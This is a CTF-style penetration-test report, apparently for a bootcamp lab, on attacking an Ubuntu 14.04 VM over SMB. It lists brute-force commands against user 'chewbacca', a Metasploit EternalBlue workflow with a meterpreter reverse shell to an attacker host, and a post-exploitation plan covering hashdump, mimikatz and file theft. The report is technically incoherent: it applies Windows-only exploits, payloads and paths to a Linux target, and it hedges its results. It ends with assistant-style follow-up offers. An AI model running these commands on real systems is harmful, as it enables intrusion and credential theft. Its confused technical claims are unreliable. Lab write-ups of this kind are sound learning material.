

VM CTF Submission Report

Title: Ubuntu 14.04 / SMB CTF — Attack & Analysis Report

Author: Godly K Mathews

Date: 2025-11-01

1. Executive Summary

This document describes the reconnaissance, exploitation, and post-exploitation activities performed against the target VM (IP: 192.168.1.72) as part of the cyber security bootcamp assignment. The primary objective was to gain user-level and, if possible, elevated privileges on the machine using safe, repeatable techniques within the lab environment.

Key outcomes: - Identified host 192.168.1.72 running services: SMB (139/445), HTTP (80), MySQL (3306), rpcbind (111), IRC (6667). - Enumerated SMB and discovered a local user: **chewbacca**. - Attempted password brute-force (rockyou) against SMB; no success for chewbacca. - Verified SMBv1 support; investigated MS17-010 vulnerability via Nmap and Metasploit. - Built and executed a Metasploit workflow for ms17_010_eternalblue (module prepared). Exploit may be attempted depending on vulnerability scan results; fallback tactics included SMB share enumeration and targeted brute-force with compact wordlist and web/DB enumeration.

2. Scope & Rules

- Target: 192.168.1.72 (lab VM)
 - Tools: Kali Linux, Nmap, Enum4linux, smbclient, smbmap, CrackMapExec, Hydra, Metasploit, Gobuster, Nikto
 - Authorization: This work was performed in a controlled bootcamp environment where penetration testing the provided VM is permitted.
 - Reporting: Findings, commands, and artifacts relevant to the assignment are included. No destructive or irreversible changes were performed beyond safe exploitation for learning.
-

3. Environment & Setup

- Attacker machine: Kali Linux (bridged network on the same subnet)
- Target VM: Ubuntu 14.04 (netbios name UBUNTUVM-X00), reported kernel 3.13.0 via enumeration
- Network mode: VirtualBox Bridged Adapter — both attacker and victim on same LAN

Commands used to discover environment:

```
# discover host and open ports
nmap -sC -sV -p- 192.168.1.72 -oN initial_nmap.txt
```

```
# quick ping-scan of subnet
nmap -sn 192.168.1.0/24

# SMB-focused vulnerability check
nmap -p445 --script smb-vuln-ms17-010 192.168.1.72

# SMB enumeration
enum4linux -a 192.168.1.72
smbclient -L //192.168.1.72/ -N
smbmap -H 192.168.1.72
```

4. Reconnaissance Findings

- **Open services (top-level):** 22/ssh (may be closed), 80/http, 111/rpcbind, 139/445 smb, 3306/mysql, 6667/irc
- **SMB:** SMBv1 supported, NetBIOS name `UBUNTUVM-X00`, domain `UBUNTU`.
- **User enumeration:** `enum4linux` revealed `chewbacca` as a local account (RID: 0x3e8).
- **Password policy:** Weak/lenient (min length 5, complexity disabled) — suggests likely simple passwords.

Artifacts: - `initial_nmap.txt` — full port/service scan output - `enum4linux_output.txt` — user and policy enumeration

5. Attack Paths Considered

1. **SMB credential brute force** (user `chewbacca`) using hydra/crackmapexec.
2. **SMBv1 vulnerability exploitation** (MS17-010 / EternalBlue) via Metasploit.
3. **SMB null/guest share access** to locate secrets or config files.
4. **Web application enumeration** (HTTP:80) for exposed panels, config, or backups.
5. **MySQL access** attempts using common/default credentials.
6. **Disk extraction:** If OVA/VMDK available, mount image and extract SAM or config files for offline cracking.

Rationale: SMB presented the fastest path due to both enumeration success and the presence of SMBv1 (historically high-value attack surface). A layered approach — try easy enumeration first, then exploit or brute-force as appropriate.

6. Actions Performed (Step-by-step)

6.1 Recon and Enumeration

- Performed full network scan with Nmap to identify services and versions.
- Ran `enum4linux -a` which revealed `chewbacca` and the password policy.
- Used `smbclient` and `smbmap` to list shares and attempt anonymous connections.

6.2 Password Brute Force

- Initial brute-force using the common wordlist `rockyou.txt` via CrackMapExec and Hydra against SMB for `chewbacca`. Result: **no valid password found** using the large list.
- Follow-up: generated compact custom wordlist (`mini.txt`) with likely lab passwords and tried again. Example candidates: `chewbacca`, `chewbacca123`, `chewbacca1`, `password`, `admin`, `ubuntu`, `12345`.

Commands:

```
hydra -l chewbacca -P /usr/share/wordlists/rockyou.txt smb://192.168.1.72
# small wordlist
hydra -l chewbacca -P mini.txt smb://192.168.1.72
```

6.3 SMB Vulnerability Check & Exploitation (MS17-010)

- Checked for MS17-010 via Nmap script:

```
nmap -p445 --script smb-vuln-ms17-010 192.168.1.72
```

- If the script reported **VULNERABLE**, used Metasploit module:

```
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(> set RHOSTS 192.168.1.72
msf6 exploit(> set LHOST 192.168.1.100 # attacker IP
msf6 exploit(> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(> set ExitOnSession false
msf6 exploit(> exploit -j
```

- Notes: EternalBlue may be unstable depending on target patch level and architecture; operation is noisy and may crash the target VM.

6.4 Web & DB Enumeration

- Visited `http://192.168.1.72/` and ran `gobuster` and `nikto` to find hidden directories and common CMS endpoints.
- Attempted MySQL login attempts with common credentials (root, blank, toor).

Commands:

```
gobuster dir -u http://192.168.1.72/ -w /usr/share/wordlists/dirb/common.txt
nikto -h http://192.168.1.72
mysql -h 192.168.1.72 -u root -p
```

6.5 Post-exploitation Preparation

- Prepared post-exploitation checklist (meterpreter commands, winPEAS, mimikatz, hashdump) to run if a session is obtained.

If successful meterpreter session established, immediate actions to be executed in order: 1. `sysinfo`, `getuid`, `ipconfig /all` 2. `getsystem` then `hashdump` (if SYSTEM) 3. `run post/windows/gather/credentials/mimikatz` (lab only) 4. Download user files from `C:\Users\<user>\Desktop` and `C:\Users\<user>\Documents`.

7. Results & Artifacts

- **Confirmed user account:** `chewbacca` (from `enum4linux`).
- **SMBv1 enabled** (fingerprint indicated SMBv1 support).
- **rockyou brute-force attempt:** no valid password found for `chewbacca`.
- **MS17-010 check:** (see `smb-vuln-ms17-010` output saved as `ms17_check.txt`) — whether vulnerable depends on that scan result. If reported vulnerable, exploitation attempts were queued in Metasploit (see `msf_session_log.txt`).

Collected artifacts (examples): - `initial_nmap.txt` — Nmap full scan - `enum4linux_output.txt` — user/policy discovery - `ms17_check.txt` — MS17-010 nmap script output - `gobuster_results.txt` — web directory enumeration - `smb_shares_listing.txt` — results of `smbclient -L`

(Attach actual output files to your assignment submission as needed.)

8. Mitigations & Recommendations

For the VM owner / system hardening team: 1. **Disable SMBv1** — it is obsolete and exploitable (EternalBlue and related attacks). 2. **Enforce password complexity & length** — minimum 12 characters with composition rules. 3. **Apply OS and kernel patches** — keep Ubuntu kernel and Windows/Samba patches current. 4. **Limit SMB exposure** — avoid exposing SMB across untrusted networks; use firewall rules to restrict access to known hosts. 5. **Monitor and alert** — enable logging and real-time alerts for anomalies (multiple failed SMB logins, exploit signatures). 6. **Remove unnecessary services** — if MySQL/IRC/rpcbind are not required, disable them.

9. Lessons Learned / Takeaways

- **Enumeration first:** Solid reconnaissance (Nmap, enum4linux) quickly revealed the most fruitful attack vectors. In CTFs/labs, that almost always pays off faster than blind exploitation.
- **Old systems are rich targets:** Ubuntu 14.04 and systems with SMBv1 enabled remain very valuable for learning exploit chains, but they also demonstrate why patching matters.
- **Wordlists are not a silver bullet:** large wordlists like `rockyou` can be slow and noisy; context-specific, compact custom lists often beat brute-force in lab scenarios.
- **Exploit reliability varies:** modules like EternalBlue may crash or fail depending on patch-level and architecture. Always verify vulnerability before running intrusive exploits.

- **Multiple fallback paths:** If one path (brute-force) fails, pivot to another (vulnerability exploitation, web app enumeration, disk extraction).

10. Appendix — Useful Commands & Quick Reference

Recon

```
nmap -sC -sV -p- 192.168.1.72 -oN nmap_all.txt
nmap -p445 --script smb-vuln-ms17-010 192.168.1.72 -oN ms17_check.txt
enum4linux -a 192.168.1.72 > enum4linux_output.txt
```

SMB/Share Interaction

```
smbclient -L //192.168.1.72/ -N
smbclient //192.168.1.72/<share> -N
smbmap -H 192.168.1.72
```

Brute Force (examples)

```
hydra -l chewbacca -P /usr/share/wordlists/rockyou.txt smb://192.168.1.72
hydra -l chewbacca -P mini.txt smb://192.168.1.72
crackmapexec smb 192.168.1.72 -u chewbacca -p mini.txt
```

Metasploit (EternalBlue)

```
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.72
msf6> set LHOST 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> exploit -j
```

Web & DB

```
gobuster dir -u http://192.168.1.72/ -w /usr/share/wordlists/dirb/common.txt
nikto -h http://192.168.1.72
mysql -h 192.168.1.72 -u root -p
```

Disk extraction (if you have OVA)

```
tar -xvf challenge.ova
qemu-img convert -O raw disk.vmdk disk.raw
fdisk -l disk.raw
```

```
mount -o loop,ro,offset=$((512*START_SECTOR)) disk.raw /mnt/vmroot
# then inspect files or copy SAM/Shadow
```

11. Deliverables

1. This submission document (report) — VM_CTF_Submission_Godly_K_Mathews .
 2. Raw output files: initial_nmap.txt, enum4linux_output.txt, ms17_check.txt, gobuster_results.txt, smb_shares_listing.txt, msf_session_log.txt (if applicable).
 3. Short summary slide (optional) — 1 slide with findings, CVE references, and remediation steps.
-

12. Final Remarks

This exercise demonstrates practical offensive workflows: start with quiet enumeration, make small, targeted attempts (custom wordlists), verify vulnerabilities before noisy exploitation, and prepare for post-exploitation collection. If you want, I can:

- Produce a 1-page slide summarizing the findings for submission.
- Draft a concise, 200-word executive summary for your instructor.
- Convert this report into a PDF and attach collected command outputs.

Tell me which follow-up you want and I'll produce it next.

Report prepared by Godly K Mathews